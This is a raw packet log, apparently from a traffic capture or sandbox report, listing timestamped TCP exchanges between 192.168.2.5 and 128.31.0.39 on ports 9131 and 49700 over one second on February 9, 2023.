Feb 9, 2023 00:59:59.039912939 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.039916039 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.039962053 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.040827036 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.040849924 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.040884972 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.040906906 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.040905952 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.040926933 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.040946007 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.040946960 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.040985107 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.042989969 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.043028116 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.043051958 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.043073893 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.043081999 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.043113947 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.043149948 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.043169975 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.043198109 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.043201923 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.043224096 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.043266058 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.043335915 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.043359041 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.043401957 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.089359045 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.089392900 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.089566946 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.121769905 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.121794939 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.121814966 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.121845007 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.121864080 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.121882915 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.121885061 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.121932983 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.121962070 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.124490023 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.124514103 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.124594927 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.136627913 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.237116098 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.237162113 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.237183094 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.237205029 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.237226009 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.237246037 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.237268925 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.237276077 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.237297058 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.237309933 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.237313032 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.237385035 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.237400055 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.237420082 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.237440109 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.237451077 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.237524986 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.237544060 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.237555981 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.237620115 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.237643003 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.237648964 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.237703085 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.237723112 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.237739086 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.237741947 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.237792969 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.237799883 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.237812042 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.237865925 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.237868071 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.237893105 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.237912893 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.237940073 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.237941980 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.237982035 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.238002062 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.238008976 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.238029003 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.238048077 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.238053083 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.238074064 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.238097906 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.238149881 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.238171101 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.238173962 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.238195896 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.238236904 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.238238096 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.238343954 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.238372087 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.238393068 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.238437891 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.238476038 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.238512039 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.238538027 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.238569021 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.238595963 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.238621950 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.238624096 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.238643885 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.238677979 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.238708019 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.238810062 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.238815069 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.238838911 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.238866091 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.238888025 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.238905907 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.238930941 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.238964081 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.238964081 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.238990068 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.238997936 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.239017010 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.239034891 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.239069939 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.239093065 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.239118099 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.239124060 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.239124060 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.239145041 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.239150047 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.239186049 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.239206076 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.239238024 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.239265919 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.239299059 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.239300013 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.239299059 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.239320993 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.239326954 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.239351034 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.239445925 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.239475965 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.239478111 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.239514112 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.239566088 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.239567995 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.239592075 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.239597082 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.239646912 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.239677906 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.239682913 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.239697933 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.239765882 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.239809036 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.239815950 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.239830017 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.239850998 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.239856005 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.239926100 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.239962101 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.239968061 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.239988089 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.240047932 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.240067005 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.240067005 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.240118980 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.240160942 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.240187883 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.240237951 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.240258932 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.240274906 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.240333080 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.240354061 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.240389109 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.240447044 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.240474939 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.240493059 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.240495920 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.240513086 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.240560055 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.240602970 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.240602970 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.240617037 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.240637064 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.240689039 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.240715027 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.240744114 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.240761995 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.240791082 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.240811110 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.240830898 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.240833998 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.240890980 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.240922928 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.240926981 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.240951061 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.240981102 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.240982056 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.241002083 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.241029978 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.241035938 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.241063118 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.241086006 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.241086960 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.241118908 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.241159916 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.241240978 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.241286993 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.241308928 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.241322041 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.241342068 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.241353989 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.241364002 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.241400003 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.241436005 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.241436958 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.241466045 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.241481066 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.241518021 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.241519928 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.241600037 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.241641998 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.241677999 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.241689920 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.241710901 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.241720915 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.241739035 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.241782904 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.241820097 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.241839886 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.241859913 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.241879940 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.241914988 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.241936922 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.241951942 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.241965055 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.241986036 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.242002010 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.242005110 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.242036104 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.242055893 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.242096901 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.242098093 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.242126942 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.242147923 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.242167950 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.242198944 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.242217064 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.242238045 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.242257118 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.242279053 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.242307901 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.242353916 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.242388010 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.242399931 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.242419958 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.242439985 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.242468119 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.242474079 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.242489100 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.242506981 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.242516994 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.242604017 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.242630959 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.242650986 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.242661953 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.242669106 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.242706060 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.242731094 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.242777109 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.242790937 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.242813110 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.242836952 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.242863894 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.242913008 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.242933035 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.242945910 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.242985964 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.243053913 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.243083000 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.243108988 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.243155003 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.243177891 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.243192911 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.243215084 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.243230104 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.243254900 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.243258953 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.243309021 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.243330002 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.243335962 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.243514061 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.243565083 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.243594885 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.243621111 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.243645906 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.243652105 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.243680954 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.243737936 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.243769884 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.243788958 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.243809938 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.243850946 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.243949890 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.243973970 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.243998051 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.244029999 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.244050980 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.244076014 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.244086027 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.244132042 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.244159937 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.244167089 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.244218111 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.244251013 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.244317055 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.244338036 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.244365931 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.244388103 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.244394064 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.244508982 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.244529963 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.244539976 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.244555950 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.244585037 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.244607925 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.244641066 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.244645119 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.244668961 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.244688988 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.244709015 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.244715929 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.244802952 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.244838953 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.244843960 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.244868994 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.244889975 CET	9131	49700	128.31.0.39	192.168.2.5
